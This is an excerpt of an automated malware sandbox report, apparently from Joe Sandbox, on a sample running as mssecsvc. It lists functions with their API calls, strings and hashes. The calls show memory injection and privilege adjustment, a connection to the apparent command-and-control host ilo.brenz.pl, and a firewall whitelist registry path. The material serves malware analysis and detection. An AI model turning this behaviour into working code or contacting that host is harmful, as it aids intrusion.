                                                                                                                                                                • Opcode Fuzzy Hash: 26f1be6d3f1a558f3176dddf1e69d5d37eb59f1455cfeebe3f45744a131c8c57
                                                                                                                                                                • Instruction Fuzzy Hash: CB0181B0791304BAF7305B29CC4BF5B7969DF81B50F548158F608AE1C4DAB99A0483A9
                                                                                                                                                                Uniqueness

                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                Function 00A824AE Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 46stringnativeCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • lstrcpyW.KERNEL32(?,\BaseNamedObjects\futtVt), ref: 00A824BA
                                                                                                                                                                • lstrlenW.KERNEL32(?), ref: 00A824C1
                                                                                                                                                                • NtCreateSection.NTDLL(?,0000000E,?,?,00000040,08000000,00000000), ref: 00A82516
                                                                                                                                                                Strings
                                                                                                                                                                • \BaseNamedObjects\futtVt, xrefs: 00A824B8
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000004.00000002.557802170.0000000000A80000.00000040.10000000.00040000.00000000.sdmp, Offset: 00A80000, based on PE: false
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_4_2_a80000_mssecsvc.jbxd
                                                                                                                                                                Yara matches
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: CreateSectionlstrcpylstrlen
                                                                                                                                                                • String ID: \BaseNamedObjects\futtVt
                                                                                                                                                                • API String ID: 2597515329-3096099617
                                                                                                                                                                • Opcode ID: 26f1be6d3f1a558f3176dddf1e69d5d37eb59f1455cfeebe3f45744a131c8c57
                                                                                                                                                                • Instruction ID: edfc4d1d400f249615f87841d12585aaa91bb843c515b27cafe1cf0b92a5cca8
                                                                                                                                                                • Opcode Fuzzy Hash: 26f1be6d3f1a558f3176dddf1e69d5d37eb59f1455cfeebe3f45744a131c8c57
                                                                                                                                                                • Instruction Fuzzy Hash: 0901A4B0790304BBF7305B29CC4BF5F7969DF81B50F548158F708AE1C4DAB89A0483A9
                                                                                                                                                                Uniqueness

                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                Function 7FEA252F Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 29nativeCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • NtOpenSection.NTDLL(?,0000000E), ref: 7FEA255E
                                                                                                                                                                Strings
                                                                                                                                                                • \BaseNamedObjects\futtVt, xrefs: 7FEA254B
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000004.00000002.558930519.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                                                                                                                                                                Yara matches
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: OpenSection
                                                                                                                                                                • String ID: \BaseNamedObjects\futtVt
                                                                                                                                                                • API String ID: 1950954290-3096099617
                                                                                                                                                                • Opcode ID: d78bf25e7d60e3ca5bd26387aae6e314818fabfb1d4b2e27edbc6fd945c633ca
                                                                                                                                                                • Instruction ID: be79e926c7ba3cdd2c7dd474d1815d54d5159c487d34c6ebacd093897ac0aaf8
                                                                                                                                                                • Opcode Fuzzy Hash: d78bf25e7d60e3ca5bd26387aae6e314818fabfb1d4b2e27edbc6fd945c633ca
                                                                                                                                                                • Instruction Fuzzy Hash: 75E09AF17402063AFB288A29CC17FA7228DCB80602F0C8604F918DA080E5B4AB108268
                                                                                                                                                                Uniqueness

                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                Function 7FEA2574 Relevance: 3.1, APIs: 2, Instructions: 66nativeCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                  • Part of subcall function 7FEA252F: NtOpenSection.NTDLL(?,0000000E), ref: 7FEA255E
                                                                                                                                                                • NtMapViewOfSection.NTDLL(00000000,?,?,00000000,0000B700,00000000,?,00000002,00100000,00000040), ref: 7FEA25A4
                                                                                                                                                                • CloseHandle.KERNEL32(00000000,0000B700,00000000,?,00000002,00100000,00000040,00000000,0000B700,00000000,?,7FEA0815), ref: 7FEA25AC
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000004.00000002.558930519.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                                                                                                                                                                Yara matches
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: Section$CloseHandleOpenView
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 2731707328-0
                                                                                                                                                                • Opcode ID: 7bef6bf2a50047ffc7f3cd4018dfe575c0559d17770fc5c6e4c634ed419af6cd
                                                                                                                                                                • Instruction ID: 1146768d7d0c0653ae7c65a746e47e6098816a1e91a2f6cfed56a84069563c97
                                                                                                                                                                • Opcode Fuzzy Hash: 7bef6bf2a50047ffc7f3cd4018dfe575c0559d17770fc5c6e4c634ed419af6cd
                                                                                                                                                                • Instruction Fuzzy Hash: B7213B70301746ABDB18DE65CC95FBA7369FF80684F401118E81ABE1D4DBB2BE14CB58
                                                                                                                                                                Uniqueness

                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                Function 7FEA1422 Relevance: 3.0, APIs: 2, Instructions: 38nativeCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • LookupPrivilegeValueA.ADVAPI32(00000000,?), ref: 7FEA145A
                                                                                                                                                                • NtAdjustPrivilegesToken.NTDLL(?,00000000,?,00000000,00000000,00000000), ref: 7FEA146A
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000004.00000002.558930519.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                                                                                                                                                                Yara matches
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: AdjustLookupPrivilegePrivilegesTokenValue
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 3615134276-0
                                                                                                                                                                • Opcode ID: ec170298e32d3185af39dd161112ec5ba22650fd4e80dab44dc6276389b4c0f8
                                                                                                                                                                • Instruction ID: d6f38f481fcad269b120698a2c1356ff37e0dff7a02be2eff211d383f83c851a
                                                                                                                                                                • Opcode Fuzzy Hash: ec170298e32d3185af39dd161112ec5ba22650fd4e80dab44dc6276389b4c0f8
                                                                                                                                                                • Instruction Fuzzy Hash: F8F0E932542010BBD6201B42CC8EED73E28EF533A0F040455F4484E151C2624BA1D3F4
                                                                                                                                                                Uniqueness

                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                Function 7FEA2477 Relevance: 3.0, APIs: 2, Instructions: 25nativeCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • NtProtectVirtualMemory.NTDLL(?,?,?,00000040), ref: 7FEA249B
                                                                                                                                                                • NtWriteVirtualMemory.NTDLL ref: 7FEA24A4
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000004.00000002.558930519.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                                                                                                                                                                Yara matches
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: MemoryVirtual$ProtectWrite
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 151266762-0
                                                                                                                                                                • Opcode ID: 3b89ad314080acfcfa5e752e4380cd5b7e8fc3aa7940f56e0bfe36a9f1ccff9c
                                                                                                                                                                • Instruction ID: 6bbb67ea70d6ee96dfa5f1d7b4d314b28acc786a60d934acbd3f762ecc45b662
                                                                                                                                                                • Opcode Fuzzy Hash: 3b89ad314080acfcfa5e752e4380cd5b7e8fc3aa7940f56e0bfe36a9f1ccff9c
                                                                                                                                                                • Instruction Fuzzy Hash: 2AE012E07502007FF5185F55DC5FF7B391DDB41751F410208FA0A981C4F9A15E18467A
                                                                                                                                                                Uniqueness

                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                Function 7FEA144A Relevance: 3.0, APIs: 2, Instructions: 22nativeCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • LookupPrivilegeValueA.ADVAPI32(00000000,?), ref: 7FEA145A
                                                                                                                                                                • NtAdjustPrivilegesToken.NTDLL(?,00000000,?,00000000,00000000,00000000), ref: 7FEA146A
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000004.00000002.558930519.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                                                                                                                                                                Yara matches
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: AdjustLookupPrivilegePrivilegesTokenValue
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 3615134276-0
                                                                                                                                                                • Opcode ID: 516db6a43922e3348a8f3b60dc7b7b81588e67f26302b6e21a5b03875f902ac7
                                                                                                                                                                • Instruction ID: 47fd2fdfef69c01f2383a78087d1294dd7e4f4bd71475d1ca0affc6c0d2f20e2
                                                                                                                                                                • Opcode Fuzzy Hash: 516db6a43922e3348a8f3b60dc7b7b81588e67f26302b6e21a5b03875f902ac7
                                                                                                                                                                • Instruction Fuzzy Hash: 1BD06771643034BBD6312A568C0EEE77D1DEF577A0F015441F9089A1A1C5A28EA1C6F5
                                                                                                                                                                Uniqueness

                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                Function 7FEA28C8 Relevance: .1, Instructions: 107COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000004.00000002.558930519.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                                                                                                                                                                Yara matches
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID:
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID:
                                                                                                                                                                • Opcode ID: 0642b33d3ce8112a54256d33be083f0dc48b56f423af93a4a8a3c14605054926
                                                                                                                                                                • Instruction ID: 599e4210a27b95691828082bf071d632d483ec5813d8a2b375e76b2b2bcd3a21
                                                                                                                                                                • Opcode Fuzzy Hash: 0642b33d3ce8112a54256d33be083f0dc48b56f423af93a4a8a3c14605054926
                                                                                                                                                                • Instruction Fuzzy Hash: 6A31F5326006158BEB148E38C94079AB7F2FB84704F10C63CE557FB594D676F6898BC0
                                                                                                                                                                Uniqueness

                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                Function 00A828C8 Relevance: .1, Instructions: 107COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000004.00000002.557802170.0000000000A80000.00000040.10000000.00040000.00000000.sdmp, Offset: 00A80000, based on PE: false
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_4_2_a80000_mssecsvc.jbxd
                                                                                                                                                                Yara matches
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID:
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID:
                                                                                                                                                                • Opcode ID: 0642b33d3ce8112a54256d33be083f0dc48b56f423af93a4a8a3c14605054926
                                                                                                                                                                • Instruction ID: 52fe82909eac73858510d75d4f3ce5049f59b8c0f5c4365edb5f95c8422e2b1a
                                                                                                                                                                • Opcode Fuzzy Hash: 0642b33d3ce8112a54256d33be083f0dc48b56f423af93a4a8a3c14605054926
                                                                                                                                                                • Instruction Fuzzy Hash: 323128326006158FEB249F38C9447AAB7F2FB94304F10863DE556E7680E675FA998BC0
                                                                                                                                                                Uniqueness

                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                Function 7FEA025E Relevance: .0, Instructions: 44COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000004.00000002.558930519.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                                                                                                                                                                Yara matches
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID:
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID:
                                                                                                                                                                • Opcode ID: 8e5dc6b960e927634cedd871963e0d9ac4a4514bac5f446dff6753b18a559d7f
                                                                                                                                                                • Instruction ID: c2d0355efc6d4047fb7dea703be5b59fadc731f4115a6c07c728b84793641dd7
                                                                                                                                                                • Opcode Fuzzy Hash: 8e5dc6b960e927634cedd871963e0d9ac4a4514bac5f446dff6753b18a559d7f
                                                                                                                                                                • Instruction Fuzzy Hash: CB0124726013455FD721DE38CC88BADBBA2FBC8734F118329E6540E08AD673A2818661
                                                                                                                                                                Uniqueness

                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                Function 00A8025E Relevance: .0, Instructions: 44COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000004.00000002.557802170.0000000000A80000.00000040.10000000.00040000.00000000.sdmp, Offset: 00A80000, based on PE: false
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_4_2_a80000_mssecsvc.jbxd
                                                                                                                                                                Yara matches
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID:
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID:
                                                                                                                                                                • Opcode ID: 8e5dc6b960e927634cedd871963e0d9ac4a4514bac5f446dff6753b18a559d7f
                                                                                                                                                                • Instruction ID: a047fec9ccb930791a4bea6d890ccee91c9e781610eaff92b854544abbede244
                                                                                                                                                                • Opcode Fuzzy Hash: 8e5dc6b960e927634cedd871963e0d9ac4a4514bac5f446dff6753b18a559d7f
                                                                                                                                                                • Instruction Fuzzy Hash: C60124727401459FD760FF28CD89FADB7A5BB88734F108368F6540A086E6B2A2898751
                                                                                                                                                                Uniqueness

                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                Function 7FEA3F27 Relevance: 37.0, APIs: 18, Strings: 3, Instructions: 205networkthreadlibraryCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • LoadLibraryA.KERNEL32(7FEA3F1B), ref: 7FEA3F27
                                                                                                                                                                • WSAStartup.WS2_32(00000101), ref: 7FEA3F66
                                                                                                                                                                • CreateThread.KERNEL32(00000000,00000000,Function_00003820,00000000,00000000), ref: 7FEA3F81
                                                                                                                                                                • CloseHandle.KERNEL32(?,00000000), ref: 7FEA3F8A
                                                                                                                                                                • CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,?,00000000), ref: 7FEA3F97
                                                                                                                                                                • lstrlen.KERNEL32(ilo.brenz.pl,?,00000000), ref: 7FEA3FE8
                                                                                                                                                                • gethostbyname.WS2_32(ilo.brenz.pl), ref: 7FEA3FF7
                                                                                                                                                                • socket.WS2_32(00000002,00000001,00000000), ref: 7FEA4028
                                                                                                                                                                • connect.WS2_32(6F6C6902,7FEA3AA1,00000010), ref: 7FEA4042
                                                                                                                                                                • GetVersionExA.KERNEL32(?,?,00000000), ref: 7FEA408C
                                                                                                                                                                • wsprintfA.USER32 ref: 7FEA410A
                                                                                                                                                                • CreateThread.KERNEL32(?,?,Function_000037B1,6F6C6902), ref: 7FEA4138
                                                                                                                                                                • CloseHandle.KERNEL32(?,?,Function_000037B1,6F6C6902,?,?,00000023,7FEA6E36,00000070,6F6C6902,6F6C6902,7FEA3AEA,00000014,00000000), ref: 7FEA4141
                                                                                                                                                                • RtlExitUserThread.NTDLL(00000000), ref: 7FEA4261
                                                                                                                                                                Strings
                                                                                                                                                                • C:\Program Files (x86)\MoDipGwdISQcvgKdFfRlUSgoJWMmGRwKNupmBQovRMDGf\mgtBDggvAingBBiEjuGdtVubG.exe, xrefs: 7FEA4119, 7FEA4158
                                                                                                                                                                • ilo.brenz.pl, xrefs: 7FEA3FE7, 7FEA3FF6
                                                                                                                                                                • \DEVICE\AFD\ENDPOINT, xrefs: 7FEA4157
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000004.00000002.558930519.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                                                                                                                                                                Yara matches
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: CreateThread$CloseHandle$EventExitLibraryLoadStartupUserVersionconnectgethostbynamelstrlensocketwsprintf
                                                                                                                                                                • String ID: C:\Program Files (x86)\MoDipGwdISQcvgKdFfRlUSgoJWMmGRwKNupmBQovRMDGf\mgtBDggvAingBBiEjuGdtVubG.exe$\DEVICE\AFD\ENDPOINT$ilo.brenz.pl
                                                                                                                                                                • API String ID: 3947895852-3904903808
                                                                                                                                                                • Opcode ID: cd3075aa6ac5a1b2a324a193c1ece853ea8a8685f00cea4c4ff8086d10106105
                                                                                                                                                                • Instruction ID: 1f19dfe30ab9c43e13b8bae516eeccfb55818e60c833b419f6a1145a3973a7c9
                                                                                                                                                                • Opcode Fuzzy Hash: cd3075aa6ac5a1b2a324a193c1ece853ea8a8685f00cea4c4ff8086d10106105
                                                                                                                                                                • Instruction Fuzzy Hash: F181D171119349BFDB229F30C819BEE7BADEF81304F000559E85A9E091D7F6AF058B69
                                                                                                                                                                Uniqueness

                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                Function 00A83F27 Relevance: 35.2, APIs: 18, Strings: 2, Instructions: 205networkthreadlibraryCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • LoadLibraryA.KERNEL32(00A83F1B), ref: 00A83F27
                                                                                                                                                                • WSAStartup.WS2_32(00000101), ref: 00A83F66
                                                                                                                                                                • CreateThread.KERNEL32(00000000,00000000,Function_00003820,00000000,00000000), ref: 00A83F81
                                                                                                                                                                • CloseHandle.KERNEL32(?,00000000), ref: 00A83F8A
                                                                                                                                                                • CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,?,00000000), ref: 00A83F97
                                                                                                                                                                • lstrlen.KERNEL32(ilo.brenz.pl,?,00000000), ref: 00A83FE8
                                                                                                                                                                • gethostbyname.WS2_32(ilo.brenz.pl), ref: 00A83FF7
                                                                                                                                                                • socket.WS2_32(00000002,00000001,00000000), ref: 00A84028
                                                                                                                                                                • connect.WS2_32(6F6C6902,00A83AA1,00000010), ref: 00A84042
                                                                                                                                                                • GetVersionExA.KERNEL32(?,?,00000000), ref: 00A8408C
                                                                                                                                                                • wsprintfA.USER32 ref: 00A8410A
                                                                                                                                                                • CreateThread.KERNEL32(?,?,Function_000037B1,6F6C6902), ref: 00A84138
                                                                                                                                                                • CloseHandle.KERNEL32(?,?,Function_000037B1,6F6C6902,?,?,00000023,00A86E36,00000070,6F6C6902,6F6C6902,00A83AEA,00000014,00000000), ref: 00A84141
                                                                                                                                                                • RtlExitUserThread.NTDLL(00000000), ref: 00A84261
                                                                                                                                                                Strings
                                                                                                                                                                • ilo.brenz.pl, xrefs: 00A83FE7, 00A83FF6
                                                                                                                                                                • C:\Program Files (x86)\MoDipGwdISQcvgKdFfRlUSgoJWMmGRwKNupmBQovRMDGf\mgtBDggvAingBBiEjuGdtVubG.exe, xrefs: 00A84119, 00A84158
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000004.00000002.557802170.0000000000A80000.00000040.10000000.00040000.00000000.sdmp, Offset: 00A80000, based on PE: false
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_4_2_a80000_mssecsvc.jbxd
                                                                                                                                                                Yara matches
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: CreateThread$CloseHandle$EventExitLibraryLoadStartupUserVersionconnectgethostbynamelstrlensocketwsprintf
                                                                                                                                                                • String ID: C:\Program Files (x86)\MoDipGwdISQcvgKdFfRlUSgoJWMmGRwKNupmBQovRMDGf\mgtBDggvAingBBiEjuGdtVubG.exe$ilo.brenz.pl
                                                                                                                                                                • API String ID: 3947895852-2623823018
                                                                                                                                                                • Opcode ID: be7912a2ffe5eccec789c9696742c19780a046d36e7e22a71a2bc3398f019ba8
                                                                                                                                                                • Instruction ID: daa11783ffe35fc4c44894236b3b4444ddcc9a402d79f1dff4e68f9a9197bead
                                                                                                                                                                • Opcode Fuzzy Hash: be7912a2ffe5eccec789c9696742c19780a046d36e7e22a71a2bc3398f019ba8
                                                                                                                                                                • Instruction Fuzzy Hash: 4181CF7151924ABFEF31AF24C81ABEE7BACAF45700F040648F8599E081D7F49F458B69
                                                                                                                                                                Uniqueness

                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                Function 7FEA3E64 Relevance: 33.5, APIs: 15, Strings: 4, Instructions: 246threadlibraryloaderCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • GetProcAddress.KERNEL32(00000000,7FEA3E58), ref: 7FEA3E65
                                                                                                                                                                • GetModuleFileNameA.KERNEL32(00000000,C:\Program Files (x86)\MoDipGwdISQcvgKdFfRlUSgoJWMmGRwKNupmBQovRMDGf\mgtBDggvAingBBiEjuGdtVubG.exe,000000C8), ref: 7FEA3E7A
                                                                                                                                                                • wsprintfA.USER32 ref: 7FEA3E8F
                                                                                                                                                                • CreateThread.KERNEL32(00000000,00000000,7FEA3629,00000000,00000000), ref: 7FEA3ED8
                                                                                                                                                                • CloseHandle.KERNEL32(?,A0ADC14F), ref: 7FEA3EE1
                                                                                                                                                                • WSAStartup.WS2_32(00000101), ref: 7FEA3F66
                                                                                                                                                                • CreateThread.KERNEL32(00000000,00000000,Function_00003820,00000000,00000000), ref: 7FEA3F81
                                                                                                                                                                • CloseHandle.KERNEL32(?,00000000), ref: 7FEA3F8A
                                                                                                                                                                • CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,?,00000000), ref: 7FEA3F97
                                                                                                                                                                  • Part of subcall function 7FEA339D: NtOpenSection.NTDLL(?,00000006,?,00000018,?,?,00000040,?,?,63697379), ref: 7FEA33E2
                                                                                                                                                                  • Part of subcall function 7FEA339D: NtQuerySystemInformation.NTDLL(0000000B,?,00000120,00000000), ref: 7FEA3401
                                                                                                                                                                  • Part of subcall function 7FEA339D: MapViewOfFile.KERNEL32(?,00000006,00000000,?,?,?,00000120,00000000), ref: 7FEA342B
                                                                                                                                                                  • Part of subcall function 7FEA339D: CloseHandle.KERNEL32(?,00000000,?,00000120,00000000), ref: 7FEA3438
                                                                                                                                                                  • Part of subcall function 7FEA339D: UnmapViewOfFile.KERNEL32(?), ref: 7FEA3450
                                                                                                                                                                Strings
                                                                                                                                                                • C:\Program Files (x86)\MoDipGwdISQcvgKdFfRlUSgoJWMmGRwKNupmBQovRMDGf\mgtBDggvAingBBiEjuGdtVubG.exe, xrefs: 7FEA3E77, 7FEA3E8C, 7FEA4119, 7FEA4158
                                                                                                                                                                • SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List, xrefs: 7FEA3EA4
                                                                                                                                                                • C:,, xrefs: 7FEA3E8E
                                                                                                                                                                • \DEVICE\AFD\ENDPOINT, xrefs: 7FEA4157
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000004.00000002.558930519.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                                                                                                                                                                Yara matches
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: CloseCreateFileHandle$ThreadView$AddressEventInformationModuleNameOpenProcQuerySectionStartupSystemUnmapwsprintf
                                                                                                                                                                • String ID: C:,$C:\Program Files (x86)\MoDipGwdISQcvgKdFfRlUSgoJWMmGRwKNupmBQovRMDGf\mgtBDggvAingBBiEjuGdtVubG.exe$SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List$\DEVICE\AFD\ENDPOINT
                                                                                                                                                                • API String ID: 3630706530-509690966
                                                                                                                                                                • Opcode ID: 3b4c00c77de353b703b27fe9e0b05dac0049b0b034d594c042b1972db7874499
                                                                                                                                                                • Instruction ID: 9d17da7c4a2217e4ad46382ead5c8f654a5b3290fe2f47b08ae3b003c422590d
                                                                                                                                                                • Opcode Fuzzy Hash: 3b4c00c77de353b703b27fe9e0b05dac0049b0b034d594c042b1972db7874499
                                                                                                                                                                • Instruction Fuzzy Hash: 2891C17151A348BFDB229F24CC5ABEB7BACEF81304F000659E8595E091D6F26F0587A6
                                                                                                                                                                Uniqueness

                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                Function 00A83E64 Relevance: 31.7, APIs: 15, Strings: 3, Instructions: 246threadlibraryloaderCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • GetProcAddress.KERNEL32(00000000,00A83E58), ref: 00A83E65
                                                                                                                                                                • GetModuleFileNameA.KERNEL32(00000000,C:\Program Files (x86)\MoDipGwdISQcvgKdFfRlUSgoJWMmGRwKNupmBQovRMDGf\mgtBDggvAingBBiEjuGdtVubG.exe,000000C8), ref: 00A83E7A
                                                                                                                                                                • wsprintfA.USER32 ref: 00A83E8F
                                                                                                                                                                • CreateThread.KERNEL32(00000000,00000000,00A83629,00000000,00000000), ref: 00A83ED8
                                                                                                                                                                • CloseHandle.KERNEL32(?,A0ADC14F), ref: 00A83EE1
                                                                                                                                                                • WSAStartup.WS2_32(00000101), ref: 00A83F66
                                                                                                                                                                • CreateThread.KERNEL32(00000000,00000000,Function_00003820,00000000,00000000), ref: 00A83F81
                                                                                                                                                                • CloseHandle.KERNEL32(?,00000000), ref: 00A83F8A
                                                                                                                                                                • CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,?,00000000), ref: 00A83F97
                                                                                                                                                                  • Part of subcall function 00A8339D: NtOpenSection.NTDLL(?,00000006,?,00000018,?,?,00000040,?,?,63697379), ref: 00A833E2
                                                                                                                                                                  • Part of subcall function 00A8339D: NtQuerySystemInformation.NTDLL(0000000B,?,00000120,00000000), ref: 00A83401
                                                                                                                                                                  • Part of subcall function 00A8339D: MapViewOfFile.KERNEL32(?,00000006,00000000,?,?,?,00000120,00000000), ref: 00A8342B
                                                                                                                                                                  • Part of subcall function 00A8339D: CloseHandle.KERNEL32(?,00000000,?,00000120,00000000), ref: 00A83438
                                                                                                                                                                  • Part of subcall function 00A8339D: UnmapViewOfFile.KERNEL32(?), ref: 00A83450
                                                                                                                                                                Strings
                                                                                                                                                                • SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List, xrefs: 00A83EA4
                                                                                                                                                                • C:,, xrefs: 00A83E8E
                                                                                                                                                                • C:\Program Files (x86)\MoDipGwdISQcvgKdFfRlUSgoJWMmGRwKNupmBQovRMDGf\mgtBDggvAingBBiEjuGdtVubG.exe, xrefs: 00A83E77, 00A83E8C, 00A84119, 00A84158
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000004.00000002.557802170.0000000000A80000.00000040.10000000.00040000.00000000.sdmp, Offset: 00A80000, based on PE: false
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_4_2_a80000_mssecsvc.jbxd
                                                                                                                                                                Yara matches
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: CloseCreateFileHandle$ThreadView$AddressEventInformationModuleNameOpenProcQuerySectionStartupSystemUnmapwsprintf
                                                                                                                                                                • String ID: C:,$C:\Program Files (x86)\MoDipGwdISQcvgKdFfRlUSgoJWMmGRwKNupmBQovRMDGf\mgtBDggvAingBBiEjuGdtVubG.exe$SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List
                                                                                                                                                                • API String ID: 3630706530-527560949
                                                                                                                                                                • Opcode ID: d3e4fa3f0d968869b544efcc49c53a93209b8da37dc7c41f6d3fc4a74192c327
                                                                                                                                                                • Instruction ID: 53bfd1a971b2b3c20a38bc3b1e1dd0d64f5ecfcdc48c294f2fc548e2a2f34538
                                                                                                                                                                • Opcode Fuzzy Hash: d3e4fa3f0d968869b544efcc49c53a93209b8da37dc7c41f6d3fc4a74192c327
                                                                                                                                                                • Instruction Fuzzy Hash: D591D072509249BFDB21AF24CC4ABEB7BACEF45700F040649F8599E081D6F06F458BA6
                                                                                                                                                                Uniqueness

                                                                                                                                                                Uniqueness Score: -1.00%

